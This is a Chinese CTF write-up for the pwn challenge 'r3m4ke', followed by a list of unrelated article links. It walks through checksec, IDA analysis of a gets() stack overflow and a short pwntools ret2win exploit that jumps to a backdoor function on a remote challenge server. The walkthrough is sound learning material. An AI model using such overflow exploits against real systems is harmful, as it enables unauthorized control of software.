PWN手的成长之路-02-r3m4ke
启动环境,并下载附件。
远程连接之后,输入了一些命令,发现无反应。
开始分析附件。
先用checksec查看一下文件的安全属性。
文件是64位的且只开启了NX防御(这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并利用缓冲区溢出等手段将恶意代码写入内存并使其触发时, 只会直接造成程序的崩溃,但是可以利用 rop (Return-Oriented Programming,返回导向编程)这种方法绕过。)
将文件放入IDA中详细查看。
在函数中发现了 lookatme 函数,他就是我们需要的后门函数,现在的思路就是要知道如何能让程序跳转到这个函数的地址上。
再分析 main 函数。发现了 gets()
危险函数。
双击v4,进入栈,判断栈溢出的字节为 0x20+8 .
并根据之前的后门函数 lookatme 的内存地址,开始编写 exp
exp:
from pwn import *
r=remote('node4.anna.nssctf.cn',28332)
lookatme=0x40072c
payload=b'a'*(0x20)+b'b'*8+p64(lookatme)#注意必须要是0x20,不能直接写20。
#payload=b'a'*(0x20+8)+p64(lookatme) 这个方式也可以
r.sendline(payload)
r.interactive()
成功得到了flag。
PWN手的成长之路-02-r3m4ke的更多相关文章
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 架构师成长之路5.2-Saltstack远程执行
点击架构师成长之路 架构师成长之路5.2-Saltstack远程执行 配置管理工具: Pupper:1. 采用ruby编程语言:2. 安装环境相对较复杂:3.不支持远程执行,需要FUNC工具配置才可以 ...
- 架构师成长之路5.7-Saltstack数据系统
点击架构师成长之路 架构师成长之路5.7-Saltstack数据系统 1. Saltstack的两种数据系统 Grains Pollars 2. Saltstack数据系统---Grains Grai ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
随机推荐
- linux 主题
linux 默认主题见多了之后总会觉得审美疲劳,换一个新鲜的吧 装载自 linux公社 讲的已经比较好了 如果你使用的是图形界面,你会发现Ubuntu默认的界面真是丑的一批,所以下面以Ubuntu 1 ...
- linux 安装obs 报错 xcb
简介 如何解决这个问题呢? 首先开启 qtdebug export QT_DEBUG_PLUGINS=1 然后发现是 找不库 libqxcb.so obs 会去一个目录下寻找他, 然后我们创建这个目录 ...
- java 打印日历
简介 示例代码 Result Mon Tue Wed Thu Fri Sat Sun 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ...
- SciTech-EECS-Devices-Mobile-Memory: 移动设备(Cellphone/Pad/Watch)的 Memory(运存)、Flash(闪存) 和 SDcard(可扩展外部存储, SD卡是事实上标准)
SciTech-EECS-Devices-Mobile-Memory: 移动设备的 Memory(运存) 和 Flash(闪存) 存储设备的 读写速度 与 硬件设备的技术规格, 存储大小, 处理器性能 ...
- SciTech-EECS-PCB电路板设计-深思熟虑方可行动 :使用KiCad进行PCB设计的基本流程
聚焦人生的社交网.时间.精力.资源:人生方有成. 明确需求与产品设计: 大体的ideal开始,到深思熟虑,联系各方都通过,制定完好的计划方可行动. 是否已有成熟商品:直接采购即可? 目标用户群: 市场 ...
- 20212109实验一《python程序设计》实验报告
20212109实验一<python程序设计>实验报告 # 20212109 2022-2022-2<Python程序设计>实验一报告课程:<Python程序设计> ...
- SQLcl:不仅是 SQL*Plus 的继任者,更是 AI 时代的连接器
在 Oracle 数据库的世界里,SQL*Plus 是开发和管理工作的标配工具.但随着数据库技术的演进和 AI 能力的嵌入,传统工具已无法满足现代数据开发.智能交互和自动化运维的需求. Oracle ...
- OSCP+ | 第一次考试便顺利通过!!
开始之前的几句废话 就在写这篇文章的时候,我的心情也依旧还是没有平复下来,很开心,很激动,自己坚持那么久的努力没有白费,也算是给自己这接近一年的努力一个好的交代.我想将我在准备过程所有的努力与感受写下 ...
- 深入理解MySQL Binlog:从原理到实践
binlog 介绍 记录了所有的DDL和DML(除了数据查询语句)语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是事务安全型的. 作用: 复制:MySQL Replicat ...
- Training Your Own LoRAs
https://tfwol.github.io/text-generation-webui/Training-LoRAs.html#format-files text-generation-webui ...